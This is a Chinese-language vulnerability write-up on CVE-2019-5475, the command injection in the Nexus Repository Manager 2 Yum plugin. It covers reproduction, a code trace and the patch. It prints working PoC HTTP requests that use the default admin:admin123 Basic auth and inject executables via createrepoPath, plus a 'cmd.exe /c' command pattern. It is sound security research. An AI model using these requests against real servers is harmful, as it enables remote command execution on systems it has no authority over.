本文作者:77 @奇安信A-TEAM
前言
Sonatype Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。今年8月份sonatype发了一个Nexus Repository Manager 2的内置Yum Repository插件远程命令执行漏洞预警通告,但是没有细节。最近hackerone才公开了漏洞细节,PoC已经公开。
漏洞描述
这里的Yum Repository插件是内置插件,但是这个漏洞需要admin权限才能触发。如果默认的admin/admin123密码没有修改,则可能结合这一点实现命令执行。漏洞点在于,Yum Repository插件提供了一个createrepo和mergerepo命令路径的功能,通过将用户输入的命令与--version参数进行拼接后执行,用于判断用户提供的createrepo或者mergerepo路径的命令是否可用。而这个路径是可控的,可以是任意命令的路径。而且没有对用户输入的命令做过滤。
经测试,部署权限用户(deployment:deployment123)不能执行命令,响应403 Forbidden:
匿名用户(anonymous)会响应401 Unauthorized :
需要admin权限才能触发此漏洞。Nexus 2的权限管理参考:https://my.oschina.net/guanzhenxing/blog/209600
DEMO
由于给用户提供的命令后面加了一个--version,linux/unix下执行比较方便,而在Windows下可以使用C:/Windows/System32/cmd.exe /c tasklist&来执行命令:
PoC
来自hackerone
PUT/nexus/service/siesta/capabilities/000013ea3743a556 HTTP/1.1
Host: HOST:PORT
Accept: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Content-Type: application/xml
Content-Length: 333
Connection: close
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ns2:capabilityxmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>createrepoPath</key><value>C:\Windows\System32\calc.exe</value></properties></ns2:capability>
其中basic认证的凭据是admin:admin123 PoC还可以是json形式的(指定createrepoPath或mergerepoPath其中一个的value即可)。可参考:https://github.com/shadowsock5/Poc/blob/master/nexes-manager/CVE-2019-5475.py
PUT/nexus/service/siesta/capabilities/000094ec97ab82b1 HTTP/1.1
Host: cqq.com:8081
Content-Length: 308
Authorization: Basic YWRtaW46YWRtaW4xMjM=
User-Agent: Mozilla/5.0
Content-Type: application/json
{"typeId":"yum","enabled":true,"properties":[{"key":"maxNumberParallelThreads","value":"10"},{"key":"createrepoPath","value":"111"},{"key":"mergerepoPath","value":"/Applications/Calculator.app/Contents/MacOS/Calculator"}]}
漏洞复现
Nexus 2受影响版本下载:
https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip
或者到这里找一个就行:
https://help.sonatype.com/repomanager2/download/download-archives---repository-manager-oss
注意不要下载pro版(需要license)。
调试参考:https://blog.csdn.net/zhu19774279/article/details/8697633 修改nexus-2.14.13-01/bin/jsw/conf/wrapper.conf 文件增加调试参数, 取消注释掉这部分:
代码追踪
nexus-public/plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability#validate:
nexus-public/plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/task/CommandLineExecutor#exec
最终调用 org.apache.commons.exec.DefaultExecutor#execute 执行命令。
参考:
https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/DefaultExecutor.html#execute(org.apache.commons.exec.CommandLine)
最终会将这个配置信息写到: ../sonatype-work/nexus/conf/capabilities.xml文件中,下次重启时会载入这个配置。若无法载入则会出错。
jvm 1 | 2019-09-1015:18:44,960+0800 WARN [jetty-main-1] org.sonatype.nexus.plugins.capabilities.internal.DefaultCapabilityRegistry - Capabilities persistent storage (capabilities.xml?) contains an capability of unknown type usertoken with id 000094ec97ab82b0. This capability will not be loaded
漏洞修复
下载官方的修复版2.14.14-01,发现修改了以下两个文件。
YumCapability.java
CommandLineExecutor.java
增加了一个关键的getCleanCommand方法,用于对用户输入的命令进行过滤。
这里的command为用户指定的命令。其中有两种情况(62行和72行)可以将命令返回进入后续步骤。
第一种情况,只有allowedExecutables.contains(command)为true之后,才能返回<user_controlled_command> --version。即用户指定的命令必须createrepo、mergerepo为两个字符串中的其中一个。否则进入下一个判断逻辑,如果用户指定的命令在this.applicationDirectories.getWorkDirectory().getAbsolutePath():即/Users/Xxx/repos/sonatype-work/nexus(这个是nexus配置所在目录)之下(即试图执行这个目录下的脚本),也返回null。再看下一个逻辑分支,即第二种情况,!this.allowedExecutables.contains(file.getName())判断提供的命令是否在allowedExecutables(即createrepo、mergerepo)这个集合中。若在此集合中,才把这个命令返回。而满足这一条件的命令需要以/createrepo或者/mergerepo结尾。这里想不到如何控制一个以/createrepo或者/mergerepo结尾的命令。
附录
建议修改默认密码admin/admin123:
http://nexus.com:8081/nexus/#security-users;admin
有人为这一点提了一个CVE-2019-9629。
参考
https://hackerone.com/reports/654888
https://support.sonatype.com/hc/en-us/articles/360033490774-CVE-2019-5475-Nexus-Repository-Manager-2-OS-Command-Injection-2019-08-09
https://www.cnblogs.com/blaketairan/p/7136735.html
http://www.blogjava.net/fancydeepin/archive/2015/06/27/maven-nexus.html
https://www.twistlock.com/labs-blog/vulnerabilities-nexus-repository-left-thousands-artifacts-exposed/
|